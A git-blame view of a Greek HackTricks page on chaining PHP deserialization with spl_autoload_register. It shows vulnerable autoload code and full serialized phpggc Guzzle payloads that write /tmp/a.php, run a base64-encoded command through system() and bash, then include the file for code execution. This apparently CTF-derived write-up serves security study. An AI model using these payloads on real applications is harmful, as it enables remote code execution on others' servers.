hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

98 lines
12 KiB
Markdown
Raw Normal View History

2024-02-10 22:40:18 +00:00
# PHP - Αποσυνεριακοποίηση + Φόρτωση αυτόματων κλάσεων
2023-03-23 14:03:29 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-03-23 14:03:29 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι υποστήριξης του HackTricks:
2024-02-03 14:45:32 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2023-03-23 14:03:29 +00:00
</details>
2024-02-10 22:40:18 +00:00
Πρώτα, θα πρέπει να ελέγξετε τι είναι οι [**Αυτόματες Φόρτωσης Κλάσεων**](https://www.php.net/manual/en/language.oop5.autoload.php).
2023-03-23 15:12:27 +00:00
2024-02-10 22:40:18 +00:00
## Αποσυνεριακοποίηση PHP + spl\_autoload\_register + LFI/Gadget
2023-03-23 14:03:29 +00:00
2024-02-10 22:40:18 +00:00
Βρισκόμαστε σε μια κατάσταση όπου βρήκαμε μια **αποσυνεριακοποίηση PHP σε μια web εφαρμογή** χωρίς κάποια ευπάθεια σε βιβλιοθήκες μέσα στο **`phpggc`**. Ωστόσο, στον ίδιο container υπήρχε μια **διαφορετική web εφαρμογή με ευπάθειες σε βιβλιοθήκες**. Συνεπώς, ο στόχος ήταν να **φορτώσουμε τον φορτωτή της άλλης web εφαρμογής** και να τον καταχραστούμε για να **φορτώσουμε ένα gadget που θα εκμεταλλευτεί αυτήν τη βιβλιοθήκη με ένα gadget** από την εφαρμογή που είναι ευπάθης στην αποσυνεριακοποίηση.
2023-03-23 14:03:29 +00:00
2024-02-10 22:40:18 +00:00
Βήματα:
2023-03-23 14:03:29 +00:00
2024-02-10 22:40:18 +00:00
* Έχετε βρει μια **αποσυνεριακοποίηση** και δεν υπάρχει **κανένα gadget** στον τρέχοντα κώδικα της εφαρμογής
* Μπορείτε να καταχραστείτε μια συνάρτηση **`spl_autoload_register`** όπως η παρακάτω για να **φορτώσετε οποιοδήποτε τοπικό αρχείο με κατάληξη `.php`**
* Για αυτό χρησιμοποιείτε μια αποσυνεριακοποίηση όπου το όνομα της κλάσης θα βρίσκεται μέσα στη μεταβλητή **`$name`**. Δεν μπορείτε να χρησιμοποιήσετε "/" ή "." στο όνομα μιας κλάσης σε ένα αποσυνεριακοποιημένο αντικείμενο, αλλά ο **κώδικας** αντικαθιστά τις **κάτω παύλες** ("\_") **με κάθετους** ("/"). Έτσι, ένα όνομα κλάσης όπως `tmp_passwd` θα μετατραπεί σε `/tmp/passwd.php` και ο κώδικας θα προσπαθήσει να το φορτώσει.\
Ένα παράδειγμα gadget θα είναι: **`O:10:"tmp_passwd":0:{}`**
2023-03-23 14:03:29 +00:00
```php
spl_autoload_register(function ($name) {
2024-02-10 22:40:18 +00:00
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
2023-03-23 14:03:29 +00:00
});
```
{% hint style="success" %}
2024-02-10 22:40:18 +00:00
Εάν έχετε μια **αποστολή αρχείου** και μπορείτε να ανεβάσετε ένα αρχείο με **`.php` επέκταση**, μπορείτε να **καταχραστείτε απευθείας αυτή τη λειτουργία** και να έχετε ήδη RCE.
2023-03-23 14:03:29 +00:00
{% endhint %}
2024-02-10 22:40:18 +00:00
Στην περίπτωσή μου, δεν είχα κάτι τέτοιο, αλλά υπήρχε μέσα στο **ίδιο container** μια άλλη ιστοσελίδα του composer με μια **ευπάθεια σε ένα `phpggc` gadget**.
2023-03-23 14:03:29 +00:00
2024-02-10 22:40:18 +00:00
* Για να φορτώσετε αυτήν την άλλη βιβλιοθήκη, πρέπει πρώτα να **φορτώσετε τον φορτωτή του composer της άλλης ιστοσελίδας** (επειδή ο τρέχων εφαρμογής δεν θα έχει πρόσβαση στις βιβλιοθήκες της άλλης). **Γνωρίζοντας τη διαδρομή της εφαρμογής**, μπορείτε να το επιτύχετε πολύ εύκολα με: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Στην περίπτωσή μου, ο φορτωτής του composer ήταν στο `/www/frontend/vendor/autoload.php`)
* Τώρα, μπορείτε να **φορτώσετε** τον **φορτωτή της άλλης εφαρμογής**, οπότε είναι καιρός να **`δημιουργήσετε το phpgcc`** **payload** που θα χρησιμοποιήσετε. Στην περίπτωσή μου, χρησιμοποίησα **`Guzzle/FW1`**, το οποίο μου επέτρεψε να **γράψω οποιοδήποτε αρχείο μέσα στο σύστημα αρχείων**.
* ΣΗΜΕΙΩΣΗ: Το **δημιουργημένο gadget δεν λειτουργούσε**, για να λειτουργήσει έπρεπε να **τροποποιήσω** αυτό το payload **`chain.php`** του phpggc και να ορίσω **όλα τα γνωρίσματα** των κλάσεων **από ιδιωτικά σε δημόσια**. Διαφορετικά, μετά την αποσειριοποίηση του συμβολοσειριακού αντικειμένου, τα γνωρίσματα των δημιουργημένων αντικειμένων δεν είχαν καμία τιμή.
* Τώρα έχουμε τον τρόπο να **φορτώσουμε τον φορτωτή της άλλης εφαρμογής** και να έχουμε ένα **phpggc payload που λειτουργεί**, αλλά πρέπει να **κάνουμε αυτό στον ίδιο αίτημα για να φορτωθεί ο φορτωτής όταν χρησιμοποιείται το gadget**. Για αυτό, έστειλα έναν σειριοποιημένο πίνακα με τα δύο αντικείμενα όπως:
* Μπορείτε να δείτε **πρώτα τον φορτωτή να φορτώνεται και μετά το payload**
2023-03-23 14:03:29 +00:00
{% code overflow="wrap" %}
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
2024-02-10 22:40:18 +00:00
* Τώρα, μπορούμε να **δημιουργήσουμε και να γράψουμε ένα αρχείο**, ωστόσο, ο χρήστης **δεν μπορεί να γράψει σε κανέναν φάκελο μέσα στον διακομιστή ιστού**. Έτσι, όπως μπορείτε να δείτε στο payload, το PHP καλεί την **`system`** με κάποιο **base64** που δημιουργείται στο **`/tmp/a.php`**. Στη συνέχεια, μπορούμε να **επαναχρησιμοποιήσουμε τον πρώτο τύπο payload** που χρησιμοποιήσαμε ως LFI για να φορτώσουμε τον φορτωτή του composer της άλλης webapp **για να φορτώσουμε το αρχείο `/tmp/a.php`** που δημιουργήθηκε. Απλά προσθέστε το στο gadget αποσειριοποίησης:&#x20;
2023-03-23 14:03:29 +00:00
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
{% endcode %}
2024-02-10 22:40:18 +00:00
**Περίληψη του payload**
2023-03-23 14:03:29 +00:00
2024-02-10 22:40:18 +00:00
* **Φόρτωση του composer autoload** ενός διαφορετικού webapp στον ίδιο container
* **Φόρτωση ενός phpggc gadget** για κατάχρηση μιας βιβλιοθήκης από το άλλο webapp (το αρχικό webapp που είναι ευάλωτο στην αποσειριοποίηση δεν είχε κανένα gadget στις βιβλιοθήκες του)
* Το gadget θα **δημιουργήσει ένα αρχείο με ένα PHP payload** σε αυτό στη διαδρομή /tmp/a.php με κακόβουλες εντολές (ο χρήστης του webapp δεν μπορεί να γράψει σε κανέναν φάκελο οποιουδήποτε webapp)
* Το τελικό μέρος του payload μας θα **φορτώσει το δημιουργημένο αρχείο php** που θα εκτελέσει εντολές
2023-03-23 14:03:29 +00:00
2024-02-10 22:40:18 +00:00
Χρειάστηκε να **καλέσω αυτήν την αποσειριοποίηση δύο φορές**. Στις δοκιμές μου, η πρώτη φορά δημιουργήθηκε το αρχείο `/tmp/a.php` αλλά δεν φορτώθηκε, και η δεύτερη φορά φορτώθηκε σωστά.
2023-03-23 14:03:29 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-03-23 14:03:29 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2024-02-03 14:45:32 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-03-23 14:03:29 +00:00
</details>